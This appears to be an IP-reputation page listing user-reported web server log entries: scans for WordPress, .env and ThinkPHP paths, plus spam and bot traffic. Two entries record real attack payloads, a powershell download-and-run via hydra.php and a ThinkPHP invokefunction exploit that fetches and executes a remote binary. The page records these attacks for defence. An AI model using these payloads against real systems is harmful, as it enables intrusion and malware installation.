城市(city): unknown
省份(region): unknown
国家(country): None
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 47.176.89.249
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 57983
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;47.176.89.249. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025021901 1800 900 604800 86400
;; Query time: 42 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Thu Feb 20 02:12:03 CST 2025
;; MSG SIZE rcvd: 106Host 249.89.176.47.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 249.89.176.47.in-addr.arpa: NXDOMAIN| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 59.111.30.195 | attackproxy | 59.111.30.195 - - [24/Apr/2019:08:22:57 +0800] "\\x04\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 59.111.30.195 - - [24/Apr/2019:08:22:57 +0800] "\\x05\\x03\\x00\\x01\\x02" 400 182 "-" "-" 59.111.30.195 - - [24/Apr/2019:08:22:57 +0800] "GET http://baidu.com/ HTTP/1.1" 400 682 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)" |
2019-04-24 08:57:51 |
| 61.110.125.144 | attack | wordpress攻击 本身不是wordpress程序还搞了个wp-login 61.110.125.144 - - [18/Apr/2019:10:10:52 +0800] "GET /check-ip/5.9.61.232 HTTP/1.1" 200 8330 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36" 61.110.125.144 - - [18/Apr/2019:10:10:52 +0800] "GET /wp-login.php?action=register HTTP/1.1" 404 209 "https://ipinfo.asytech.cn/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" 61.110.125.144 - - [18/Apr/2019:10:10:53 +0800] "GET /wp-login.php?action=register HTTP/1.1" 404 209 "https://ipinfo.asytech.cn/wp-login.php?action=register" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" |
2019-04-18 10:11:48 |
| 120.26.236.178 | attack | 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /TP/public/index.php HTTP/1.1" 404 476 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /TP/index.php HTTP/1.1" 404 469 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 487 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox /3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:20 +0800] "GET /html/public/index.php HTTP/1.1" 404 478 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:21 +0800] "GET /public/index.php HTTP/1.1" 404 473 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:21 +0800] "GET /TP/html/public/index.php HTTP/1.1" 404 481 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:21 +0800] "GET /elrekt.php HTTP/1.1" 404 467 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:22 +0800] "GET /index.php HTTP/1.1" 404 466 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" 120.26.236.178 - - [24/Apr/2019:19:30:22 +0800] "GET / HTTP/1.1" 200 24601 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)" |
2019-04-25 05:29:09 |
| 101.227.151.57 | attack | 101.227.151.57 - - [18/Apr/2019:17:29:20 +0800] "GET /program/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" 101.227.151.57 - - [18/Apr/2019:17:29:20 +0800] "GET /program/index.php HTTP/1.1" 404 209 "http://118.25.52.138/program/index.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G35 QQ/6.5.3.410 V1_IPH_SQ_6.5.3_1_APP_A Pixel/750 Core/UIWebView NetType/2G Mem/117" |
2019-04-18 17:30:14 |
| 197.83.209.224 | attack | 197.83.209.224 - - [19/Apr/2019:06:39:11 +0800] "GET /wp-login.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 197.83.209.224 - - [19/Apr/2019:06:39:14 +0800] "GET /wp-login.php HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 197.83.209.224 - - [19/Apr/2019:06:39:14 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 197.83.209.224 - - [19/Apr/2019:06:39:15 +0800] "GET / HTTP/1.1" 200 10280 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" |
2019-04-19 06:39:48 |
| 113.89.0.55 | bots | 113.89.0.55 - - [22/Apr/2019:14:01:01 +0800] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:01 +0800] "GET / HTTP/1.1" 200 10286 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:03 +0800] "HEAD /aboutus HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:03 +0800] "GET /aboutus HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:03 +0800] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.89.0.55 - - [22/Apr/2019:14:01:04 +0800] "GET / HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" |
2019-04-22 14:01:42 |
| 181.209.64.98 | bots | 181.209.64.98 - - [22/Apr/2019:10:38:45 +0800] "GET /check-ip/94.36.13.15 HTTP/1.1" 200 8293 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1" 181.209.64.98 - - [22/Apr/2019:10:39:08 +0800] "GET /check-ip/94.36.13.15 HTTP/1.1" 200 8435 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 ( .NET CLR 3.5.30729)" 181.209.64.98 - - [22/Apr/2019:10:39:28 +0800] "GET /check-ip/94.36.13.15 HTTP/1.1" 200 8168 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8" 181.209.64.98 - - [22/Apr/2019:10:39:50 +0800] "GET /check-ip/94.36.13.15 HTTP/1.1" 200 8149 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0.6" |
2019-04-22 10:41:06 |
| 159.138.35.59 | attack | 159.138.35.59 - - [23/Apr/2019:21:23:50 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:52 +0800] "GET /.env HTTP/1.1" 301 194 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 159.138.35.59 - - [23/Apr/2019:21:23:59 +0800] "GET /.env HTTP/1.1" 404 209 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" |
2019-04-23 21:25:16 |
| 192.243.53.51 | bots | 192.243.53.51 - - [17/Apr/2019:17:34:27 +0800] "GET / HTTP/1.1" 200 29611 "-" "SEMrushBot" |
2019-04-17 17:35:08 |
| 5.188.44.47 | spam | 5.188.44.47 - - [19/Apr/2019:13:11:26 +0800] "GET /index.php/2018/08/29/jack_ma_2018_08_29_en/ HTTP/1.1" 200 13881 "https://eznewstoday.com/index.php/2018/08/29/jack_ma_2018_08_29_en/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.88 Safari/537.36" 5.188.44.47 - - [19/Apr/2019:13:11:27 +0800] "GET /index.php/2018/08/29/jack_ma_2018_08_29_en/ HTTP/1.1" 200 13881 "https://eznewstoday.com/index.php/2018/08/29/jack_ma_2018_08_29_en/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" 5.188.44.47 - - [19/Apr/2019:13:11:28 +0800] "GET /index.php/2018/08/29/jack_ma_2018_08_29_en/ HTTP/1.1" 200 13881 "https://eznewstoday.com/index.php/2018/08/29/jack_ma_2018_08_29_en/" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" |
2019-04-19 14:01:19 |
| 200.53.15.17 | attack | 200.53.15.17 - - [21/Apr/2019:04:56:51 +0800] "GET /wp-login.php HTTP/1.1" 302 284 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 200.53.15.17 - - [21/Apr/2019:04:56:52 +0800] "GET /wp-login.php HTTP/1.1" 200 7801 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 200.53.15.17 - - [21/Apr/2019:04:56:52 +0800] "GET / HTTP/1.1" 301 283 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" 200.53.15.17 - - [21/Apr/2019:04:56:53 +0800] "GET / HTTP/1.1" 200 93842 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" |
2019-04-21 06:59:00 |
| 62.109.30.103 | bots | 62.109.30.103 - - [23/Apr/2019:13:53:01 +0800] "GET /license.php/ HTTP/1.1" 301 194 "google.com" "Mozilla/5.0 Gecko/20100101 Firefox/57.0" |
2019-04-23 13:57:47 |
| 118.25.71.65 | attack | 118.25.71.65 - - [19/Apr/2019:15:56:16 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 301 194 "http://118.25.52.138:80/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
118.25.71.65 - - [19/Apr/2019:15:56:16 +0800] "GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start%20C:/Windows/temp/rdoromzcvnzisoj23580.exe HTTP/1.1" 404 232 "http://118.25.52.138:80/public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','C:/Windows/temp/rdoromzcvnzisoj23580.exe');start C:/Windows/temp/rdoromzcvnzisoj23580.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-19 15:56:51 |
| 1.10.189.153 | attack | 1.10.189.153 - - [23/Apr/2019:15:23:39 +0800] "POST https://www.eznewstoday.com/wp-login.php HTTP/1.1" 200 5729 "https://www.eznewstoday.com/wp-login.php" "Mozilla/5.0 (Windows NT 5.2; WOW64; x64) AppleWebKit/532.89.36 (KHTML, like Gecko) Version/5.2.7 Safari/530.61" |
2019-04-23 15:33:26 |
| 165.22.159.9 | attack | 165.22.159.9 - - [18/Apr/2019:08:05:25 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.12.4" 165.22.159.9 - - [18/Apr/2019:08:05:26 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.12.4" 165.22.159.9 - - [18/Apr/2019:08:05:26 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.12.4" 165.22.159.9 - - [18/Apr/2019:08:05:27 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://46.101.210.172/bins/element.x86;cat%20element.x86%20%3E%20hitler13;chmod%20777%20hitler13;./hitler13%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.12.4" |
2019-04-18 08:06:11 |